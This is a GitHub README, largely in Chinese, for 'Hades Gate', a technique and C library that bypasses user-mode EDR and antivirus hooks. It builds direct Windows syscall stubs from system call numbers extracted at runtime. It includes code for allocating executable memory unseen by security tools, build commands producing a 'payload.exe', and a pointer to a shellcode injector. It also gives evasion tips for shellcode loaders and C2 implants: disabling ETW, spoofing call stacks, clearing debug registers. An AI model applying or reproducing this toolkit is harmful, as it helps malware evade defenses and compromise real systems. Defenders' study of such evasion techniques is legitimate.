h0mi3e/hades-gate

GitHub: h0mi3e/hades-gate

Hades Gate 是一种通过动态提取系统调用号来构建直接调用存根,从而绕过用户态EDR/AV钩子的技术。

Stars: 3 | Forks: 0

# ⛧ Hades Gate ### 从第一原理构建直接系统调用 #1-the-problem The Problem #2-background-the-syscall-layer Background: The Syscall Layer #3-how-edrs-hook-you How EDRs Hook You #4-the-technique The Technique #step-1-peb-walk--ntdll-base Step 1: PEB Walk → ntdll Base #step-2-pe-parse--export-resolution Step 2: PE Parse → Export Resolution #step-3-ssn-extraction Step 3: SSN Extraction #step-4-stub-synthesis Step 4: Stub Synthesis #step-5-integration Step 5: Integration #5-usage Usage #6-where-and-why-to-use-it Where and Why to Use It #7-variants-and-bypasses Variants and Bypasses #8-limitations-and-detection Limitations and Detection #9-references References #10-license License ## 1. 问题所在 当你的代码调用 `VirtualAllocEx` 时,调用链如下: ``` your code → kernel32.dll → kernelbase.dll → ntdll.dll → kernel (ring 0) ``` 市场上每一个 EDR 和消费级防病毒软件**都在用户态层面对 Windows API 进行 hook** —— 通常是在 ntdll.dll 内部,有时也包括 kernelbase。它们会覆盖每个函数的前 5-16 个字节,用一个 `jmp` 重定向到它们的监控引擎。你的调用路径变成了: ``` your code → kernel32 → kernelbase → ntdll (HOOKED) → EDR engine → kernel ``` EDR 可以看到: - **你调用了哪个函数**(NtAllocateVirtualMemory, NtCreateThreadEx, NtOpenProcess 等) - **你传递了哪些参数**(目标 PID、内存大小、保护标志等) - **是谁调用了它**(回溯到你代码的堆栈跟踪) 一旦获得这些数据,检测就变得轻而易举:从一个非 Microsoft 二进制文件调用 `NtAllocateVirtualMemory` 并设置 `PAGE_EXECUTE_READWRITE`?告警。从 shellcode 调用?告警。从一个刚刚自我解密的进程调用?告警。 这就是为什么你的 payload 在第一个字节执行前就被捕获了。 ## 2. 背景:系统调用层 在 Windows(x64)上,系统调用的工作方式如下: **你的进程(ring 3) → ntdll 存根 → syscall 指令 → 内核(ring 0)** 每个内核服务都通过 ntdll 暴露为一个小型汇编存根。例如,在一个干净、未被 hook 的 ntdll 中,`NtAllocateVirtualMemory` 看起来是这样的: ``` mov r10, rcx ; 4C 8B D1 ; syscall clobbers RCX, save to R10 mov eax, 0x0018 ; B8 18 00 00 00 ; syscall number for this function syscall ; 0F 05 ; trap to kernel ret ; C3 ; return ``` 其中的 `mov eax, 0x0018` —— `0x0018` 就是**系统服务号 (SSN)**,也称为系统调用号。每个 Nt\* 函数都有一个唯一的 SSN。内核使用这个数字来分派到正确的处理程序。 SSN 是关键。如果我们知道 SSN 并且我们自己发出 `syscall` 指令,我们就永远不需要调用 ntdll 的存根。我们可以直接从我们的代码进入内核。 **为什么这能行:** 内核只有一个。你无法从用户态 hook 内核(当然,你可以,但那涉及内核回调、ETW 和 PatchGuard,是另一个话题了)。`syscall` 指令是一个原子陷阱。如果你用正确的 SSN 和参数发出它,内核将处理你的请求,无论 EDR 对 ntdll 做了什么。 ## 3. EDR 如何 hook 你 有三种常见的 hook 策略,按常见程度排序: ### 3.1 内联 Hook(最常见) EDR 在 ntdll 存根的偏移 0 处写入一个 5 字节的 `jmp` 或 `call`,重定向到 EDR 自己 DLL 中的一个跳板。 ``` ; Before hook (clean): 4C 8B D1 mov r10, rcx B8 18 00 00 00 mov eax, 0x18 0F 05 syscall C3 ret ; After hook: E9 XX XX XX XX jmp edr_trampoline ; 5 byte jmp B8 18 00 00 00 mov eax, 0x18 ; these bytes are still here 0F 05 syscall C3 ret ``` 仔细注意其布局: ``` Original stub (11 bytes): [0] 4C mov r10, rcx [1] 8B [2] D1 [3] B8 mov eax, SSN ← immediate starts here [4] 18 ← SSN = 0x18 [5] 00 [6] 00 [7] 00 [8] 0F syscall [9] 05 [10] C3 ret 5-byte JMP hook (what a simple detour looks like): [0] E9 jmp edr_trampoline [1] XX [2] XX [3] XX [4] XX ← 5-byte jmp overwrites [0] through [4] [5] 00 ← SSN upper bytes survive here [6] 00 [7] 00 [8] 0F syscall [9] 05 [10] C3 ret ``` 一个**纯粹的 5 字节 jmp**(`E9 XX XX XX XX`)确实会覆盖字节 [4]——SSN 的低字节。如果这是唯一的 hook 方法,读取字节 [4] 会失败。 **实际上,这无关紧要,因为几乎没有任何现代 EDR 使用纯粹的 5 字节 jmp。** 它们使用更长的 hook 序列,这些序列不会触碰字节 [4]: | Hook 类型 | 大小 | 字节布局 | 覆盖 [4]? | |-----------|------|-------------|----------------| | `jmp [rip+offset]` | 6 字节 | `FF 25 XX XX XX XX` | ❌ 否(仅 [0-5]) | | `call [rip+offset]` | 6 字节 | `FF 15 XX XX XX XX` | ❌ 否(仅 [0-5]) | | `mov rax, imm; jmp rax` | 13 字节 | `48 B8 XX ... XX FF E0` | ❌ 否(仅 [0-12]) | | `jmp rel32` | 5 字节 | `E9 XX XX XX XX` | ✅ **是** | `jmp [rip+offset]`(6 字节)和 `call [rip+offset]`(6 字节)形式在现代 EDR 中最为常见——Defender for Endpoint、SentinelOne、Cortex XDR、Sophos Intercept X 和 Carbon Black 都使用这些。5 字节的 `jmp rel32` 主要是遗留或玩具级别的 detour 实现。 **如果你遇到一个 5 字节的 hook**(当字节 [0-4] 读作 `E9 XX XX XX XX` 时可见),那么 [4] 处的 SSN 就没了。请回退到: 1. **回收 SSN 的高位字节** —— 一个 5 字节的 jmp 会保留字节 [5-7] 不变。SSN 在低字节,但你可以根据已知的 Windows 版本 SSN 范围来重建它,或者 2. **清理 ntdll 映射**(第 7.1 节) —— 从磁盘读取干净的 DLL 并从真正的存根中提取 SSN,或者 3. **挂起进程方法** —— 创建一个在 EDR 附加之前挂起的进程,从其干净的 ntdll 中读取 SSN 对于 95% 以上的真实世界部署,字节 [4] 是干净的。代码读取它然后继续。 ### 3.2 通过 Detours 进行 Hook(Microsoft Detours 风格) EDR 将原始字节保存在其他地方,用 `jmp` 进行修补,并提供一个“跳板”来调用原始函数。这是最礼貌的方法,也是最容易绕过的 —— 只要不使用跳板即可。 ### 3.3 替换(最少见) EDR 用一个指向完全伪造函数的 `jmp` 替换了整个函数体。原始存根本不在内存中。这会破坏 Hades Gate(以及 Hell's Gate 和大多数其他技术)。解决方案是从磁盘映射一个干净的 ntdll 副本。 ## 4. 技术细节 ### 步骤 1: PEB 遍历 → ntdll 基地址 每个 Windows 进程都有一个**进程环境块 (PEB)**,可以通过 GS 段寄存器的一个固定偏移量访问: ``` x64: GS:[0x60] → PEB x86: FS:[0x30] → PEB ``` PEB 包含一个指向 `PEB_LDR_DATA`(偏移 0x18)的指针,其中包含一个已加载模块的链表。我们遍历这个链表以找到 ntdll.dll 并获取其基地址。 **为什么不用 GetModuleHandle?** 因为它被 hook 了。PEB 永远不会被 EDR 修补,因为修改它会导致进程崩溃。 **结构如下:** ``` GS:[0x60] → PEB +0x18 → PEB_LDR_DATA +0x20 → InMemoryOrderModuleList (LIST_ENTRY) Flink → .exe (first) Flink → ntdll.dll (second) Flink → kernel32.dll (third) ``` 每个 `LDR_DATA_TABLE_ENTRY` 包含: - `+0x10`: DllBase - `+0x40`: BaseDllName (UNICODE_STRING) 我们进行迭代,直到找到 `BaseDllName` 匹配 “ntdll.dll”(不区分大小写)的条目,并从偏移 0x10 处读取 `DllBase`。 ### 步骤 2: PE 解析 → 导出解析 有了 ntdll 的基地址,我们解析 PE 头: ``` DOS_HEADER → e_lfanew → NT_HEADERS → OptionalHeader → DataDirectory[EXPORT] → ExportDirectory ``` 导出目录为我们提供了: - **AddressOfNames**: 指向函数名字符串的 RVA 指针数组 - **AddressOfNameOrdinals**: 将名称索引映射到序数 - **AddressOfFunctions**: 将序数映射到函数 RVA 我们使用 FNV-1a 对目标函数名进行哈希,遍历 `AddressOfNames` 直到找到匹配项,解析序数,并从 `AddressOfFunctions` 获取函数 RVA。将函数 RVA 加上 ntdll 基地址,就得到了内存中的函数地址。 ### 步骤 3: SSN 提取 有了函数地址,我们检查存根的前 N 个字节。在一个干净的 ntdll 中,模式是: ``` 4C 8B D1 [00-02] mov r10, rcx B8 XX XX XX XX [03-07] mov eax, SSN 0F 05 [08-09] syscall C3 [0A] ret ``` 即使在一个被 hook 的存根中,字节 [5-7](`mov eax` 立即数的高 24 位)几乎从未被覆盖,因为它们位于任何 jmp/call hook 前言之后。在现代 Windows(10+)上,系统调用号可以容纳在一个字节内(0x00-0xFF),因此读取字节 [4] 或 [5] 就可以得到 SSN。 **处理的边缘情况:** - 如果 hook 恰好是 5 字节(覆盖了 [0-4]),那么 [4] 处的 SSN 就被破坏了。我们通过检查字节 [3-7] 是否构成一个有效的 `mov eax` 来检测这一点——如果不是,那么 SSN 就在 [5] 处([3] 处的 `B8` 被破坏了,但 [5-7] 处的立即数幸存了)。 - 如果函数是一个导出但**不是**系统调用存根(例如 `RtlAllocateHeap`),就没有 SSN 可提取,我们返回 0。 - 如果函数完全没有可识别的存根(EDR 完全替换了它),SSN 为 0,我们优雅地失败。 ### 步骤 4: 存根合成 有了 SSN,我们分配可执行内存并写入: ``` mov r10, rcx ; 4C 8B D1 — syscall calling convention mov eax, SSN ; B8 XX 00 00 00 — syscall number syscall ; 0F 05 — trap to kernel ret ; C3 — return ``` 这个存根**从不接触 ntdll**。它直接从我们分配的可执行页面进入 ring 0。EDR 的 hook 仍然静静地待在 ntdll 中,未被执行,疑惑着大家都去哪儿了。 ### 步骤 5: 集成 将这些存根链接起来,形成一个完整的无 hook 注入流程: ``` void* hNtOpenProcess = hg_syscall("NtOpenProcess"); void* hNtAllocateVirtualMemory = hg_syscall("NtAllocateVirtualMemory"); void* hNtWriteVirtualMemory = hg_syscall("NtWriteVirtualMemory"); void* hNtProtectVirtualMemory = hg_syscall("NtProtectVirtualMemory"); void* hNtCreateThreadEx = hg_syscall("NtCreateThreadEx"); void* hNtClose = hg_syscall("NtClose"); ``` 将每个转换为其 NTAPI 原型并直接调用。EDR 什么也看不到。 ## 5. 使用方法 ### 5.1 构建 ``` # 使用 MinGW 交叉编译器: x86_64-w64-mingw32-gcc -Os -masm=intel -c src/hades_gate.c -o hades_gate.o x86_64-w64-mingw32-gcc -Os -masm=intel hades_gate.o your_code.c -o payload.exe # 使用 MSVC (cl.exe): cl /c /O1 src/hades_gate.c link hades_gate.obj your_code.obj /OUT:payload.exe ``` ### 5.2 基本用法 ``` #include "src/hades_gate.h" int main(void) { // One-shot: resolve and build a clean syscall stub void* stub = hg_syscall("NtAllocateVirtualMemory"); if (!stub) return 1; // Cast to the proper NTAPI prototype typedef NTSTATUS (NTAPI* fnNtAllocateVirtualMemory)( HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); fnNtAllocateVirtualMemory pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)stub; // Use it — EDR never fires PVOID addr = NULL; SIZE_T size = 0x1000; NTSTATUS status = pNtAllocateVirtualMemory( (HANDLE)-1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // addr = RWX memory. The EDR has no idea this happened. return 0; } ``` ### 5.3 手动两步法(如果你需要检查结果) ``` HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory"); if (r.ssn == 0) { // Either the function wasn't found or it's not a syscall stub return 1; } printf("NtAllocateVirtualMemory is at %p, SSN = 0x%02X\n", r.address, r.ssn); void* stub = hg_build_stub(r.ssn); if (!stub) return 1; // stub is ready to call ``` ### 5.4 完整的无 hook 注入链 参见 `examples/injector.c` 获取完整实现,该实现会打开目标进程、分配内存、写入 shellcode 并执行它——全部通过直接系统调用完成。不涉及任何 Win32 API 调用。 ## 6. 使用场景与原因 ### 在以下情况下使用 Hades Gate: - **你正在编写 shellcode 或位置无关代码**,这些代码不能依赖导入表、运行时链接或 CRT 初始化。PEB 遍历器可以从零开始为你提供所需的一切。 - **你正在构建一个加载器或注入器**,需要在存在 EDR 的现代 Windows 上生存。直接系统调用是任何不希望在 API 调用层面被检测到的 payload 的基准要求。 - **你正在编写 C2 植入程序**,需要在运行时动态解析 API,而没有静态 IAT 条目。Hades Gate 的 PEB 遍历 + 导出解析为你提供了动态解析能力,而无需调用 `GetProcAddress`(它也被 hook 了)。 - **你需要跨版本兼容性。** 因为 Hades Gate 在运行时派生系统调用号,同一个二进制文件可以在 Windows 10 1507、Windows 11 24H2 以及介于两者之间的所有版本上工作。无需维护硬编码的偏移表。 ### 了解你的敌人——用户态之下潜伏着什么 Hades Gate 绕过了用户态 API hook。下面是它**没有触及**的三个层面。以下是处理每个层面的方法: #### 层面 1:内核回调(ETW、PsSetCreateProcessNotifyRoutine 等) 大多数 EDR 注册内核回调,这些回调在系统调用完成后触发。直接系统调用无法避免这些——它们发生在 ring 0,无论你如何调用内核。 **它们能看到什么:** 系统调用号、参数、调用进程。 **它们看不到什么:** Win32 函数名、通过 ntdll 的调用堆栈。 **如何缓解:** - 将分配批量化为更少、更大的调用(减少事件量) - 通过反射式 DLL 加载而不是逐个 API 调用来链接 shellcode 投递 - 在注入调用之前使用 `NtSetInformationProcess` 为你的进程禁用 ETW - 在调用之间设置现实的延迟(一个在 2ms 内完成的注入是明显的) - 伪造调用线程的起始地址,使内核回调看到一个合法的入口点 #### 层面 2:安全内核 / VBS 基于虚拟化的安全 (VBS) 在内核下方运行一个 hypervisor。它可以在 VMExit 级别拦截每个系统调用。没有任何用户态绕过方法。 **如果 VBS 已启用,直接系统调用仍然有效** —— 它们只是无法帮助你躲避 hypervisor。从 VBS 观看的 EDR 以完全保真度看到每个系统调用。 **如何应对:** - Hades Gate 仍然为你提供跨版本兼容性并避免用户态 hook。在 VBS 下它并非无用——只是不够隐蔽。 - 结合 ETW 禁用和调用伪造,减少你的进程在用户态发出的信号,使其更难与合法行为区分开来,即使 VBS 在观看。 - 如果在 VBS 下需要绝对隐身,你需要硬件级技术(安全内核绕过),这超出了任何用户态工具的范围。 #### 层面 3:完整存根替换(CrowdStrike Falcon,一些 SentinelOne 配置) 这些 EDR 不仅 hook 头几个字节——它们用一个指向完全伪造函数的 jmp 覆盖了整个系统调用存根。[4] 字节处的 SSN 没了。 **Hades Gate 如何处理:** - 首先调用 `hg_resolve()`,然后调用 `hg_verify_stub()`。如果存根看起来不像系统调用存根,则回退到 `hg_map_clean_ntdll()` + `hg_resolve_at()`(第 7.1 节)。 - `hg_verify_stub()` 检查前 16 个字节内是否存在 `0F 05 C3`(syscall; ret)。如果不存在,说明 EDR 已替换了存根。 - `hg_map_clean_ntdll()` 从磁盘映射一个 ntdll.dll 的新副本,然后 `hg_resolve_at()` 从真实的存根中提取 SSN。 ``` HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory"); if (!hg_verify_stub(r.address)) { // Stub appears replaced — try clean ntdll from disk uintptr_t clean_base = hg_map_clean_ntdll(); r = hg_resolve_at("NtAllocateVirtualMemory", clean_base); } void* stub = hg_build_stub(r.ssn); ``` ### 底线 Hades Gate 是一种用户态 hook 绕过技术。仅此而已。如果 EDR 从 ring 0 或更底层观看,直接系统调用仍然有用——它们消除了最常见的检测向量(函数 hook)——但它们并非完整的隐身解决方案。结合 ETW 禁用、调用伪造和行为时序,可以得到更全面的效果。 ## 7. 变体与绕过方法 ### 7.1 干净映射的 nTDLL 当 EDR 用 hook 替换整个存根时,从磁盘读取 ntdll.dll 并将其映射为一个干净的副本。然后从干净的副本中提取 SSN。 ``` Steps: 1. NtOpenFile("\\??\\C:\\Windows\\System32\\ntdll.dll") 2. NtCreateSection(..., SEC_IMAGE, ...) 3. NtMapViewOfSection(...) → maps a CLEAN copy into memory 4. Run hg_resolve against this clean base instead of in-memory ntdll 5. Use the resolved SSNs to build stubs ``` 内存中的 ntdll 可能有伪造的存根,但磁盘上的副本总是干净的。 **更新的 API 用法:** ``` // Before: only resolves from in-memory ntdll HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory"); // Now: verify the stub is real, fall back to clean copy if (!hg_verify_stub(r.address)) { // EDR replaced the stub — map from disk uintptr_t clean = hg_map_clean_ntdll(); r = hg_resolve_at("NtAllocateVirtualMemory", clean); } void* stub = hg_build_stub(r.ssn); ``` ### 7.2 间接系统调用 一些 EDR(Cybereason,现代 Defender ATP)通过修补 `ntdll!KiFastSystemCall` 来 hook `syscall` 指令本身。绕过方法: 1. 扫描任何已签名的 Microsoft DLL(kernel32.dll、user32.dll 等)寻找字节 `0F 05 C3`(syscall + ret) 2. 将你的存根的 `syscall` 重定向到那个 gadget,而不是内嵌它 你的存根变成: ``` mov r10, rcx mov eax, SSN jmp gadget_addr ; jumps to a clean syscall;ret ``` EDR hook 的是 ntdll 中的 `syscall`,而不是 kernel32 中的,所以 gadget 是干净的。 ### 7.3 随机访问 SSN 提取 一些 EDR 使用可变长度的 hook,覆盖不同的偏移量。使用多种提取策略: ``` // Strategy 1 (Hell's Gate / Hades Gate): read B8 XX at [3] // Strategy 2 (Tartarus Gate): scan for B8 anywhere in first 16 bytes // Strategy 3: if stub starts with FF (call), the real stub is elsewhere // Strategy 4: byte-by-byte scan for 0F 05 C3, read SSN from preceding bytes ``` 按顺序尝试每种策略,直到获得一个有效(非零、合理)的 SSN。 ### 7.4 硬件断点拆除 一个小技巧:在调用你合成的存根之前,清除所有硬件调试寄存器(DR0-DR3)。一些 EDR 使用硬件断点来监控特定的系统调用。 ``` __writegsqword(0x10, 0); // Clear DR0 __writegsqword(0x18, 0); // Clear DR1 ``` ## 8. 限制与检测 ### Hades Gate **可以**绕过什么: - ✅ ntdll.dll 中的**内联 API hook**(Defender, SentinelOne, Sophos, Carbon Black, Cortex XDR) - ✅ **Detours 风格的函数重定向**(Microsoft Detours, AppInit DLLs) - ✅ **ETW 用户态 hook**(尽管内核 ETW 仍可能获取事件) - ✅ **GetModuleHandle/GetProcAddress 监控**(我们两个都不调用) - ✅ **IAT 扫描**(我们的 Nt\* 函数没有导入条目) ### Hades Gate **不能**绕过什么: - ❌ **内核模式 ETW 提供程序** —— `Microsoft-Windows-Kernel-Process`, `Microsoft-Windows-Kernel-Memory`, `Threat-Intelligence` 跟踪会话。这些在 ring 0 拦截系统调用。 - ❌ **内核回调**,由 `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine` 等注册。 - ❌ **基于 hypervisor 的监控**(VBS, 安全内核, 带有 DGE/System Guard 的 Hyper-V) - ❌ **堆栈遍历** —— 如果 EDR 监控内核模式,它们仍然会看到你的系统调用,并且可以遍历内核堆栈回到你的进程。它们看不到*函数名*,但它们会看到 SSN 并可以映射它。 ### 检测向量: 1. **`NtAllocateVirtualMemory` 设置 PAGE_EXECUTE_READWRITE** —— 即使通过直接系统调用,内核也能看到这一点。如果 EDR 有内核 minifilter 或 ETW 订阅,它们会看到。改变你的分配策略:分配为 PAGE_READWRITE,写入,然后调用 `NtProtectVirtualMemory` 将其改为 PAGE_EXECUTE_READ。 2. **读-写-执行内存** 是一个强启发式。避免 RWX。使用 RW + 改为 RX。 3. **没有模块(即不是已加载的 DLL 或 EXE)支持的可执行内存** 是可疑的。考虑隐藏在一个已知模块后面。 4. **多个快速系统调用序列的模式** —— 具有行为检测的 EDR 会将“在 2ms 内对 NtOpenProcess + NtAllocateVirtualMemory + NtWriteVirtualMemory 进行三次系统调用”标记为注入,无论它们是否是直接的。 ## 9. 相关技术 - **Hell's Gate (halov)** —— 该技术家族所源自的原始直接系统调用技术。 - **Halo's Gate** —— 处理部分 EDR hook 的改进。 - **Recycled Gate** —— 从挂起进程中回收未 hook 的系统调用存根。 - **Tartarus Gate** —— 处理使用 `call` 而非 `jmp` 的 EDR 存根。 ## 10. 许可证 这是自由软件。随你怎么用它。不提供任何明示或暗示的担保。 Windows 内核是唯一的权威。直接去访问它。不要经过 EDR。不要收集 0-day。
标签:AV绕过, EDR绕过, FastAPI, Hpfeeds, ntdll钩子, PEB Walking, Shellcode, Windows系统, 云资产清单, 函数钩子, 子域名枚举, 客户端加密, 恶意技术, 恶意软件, 技术调研, 用户态钩子, 私有化部署, 系统安全, 系统调用, 网络安全, 自动回退, 运行时解析, 逆向工程, 钩子绕过, 防御规避, 隐私保护, 高交互蜜罐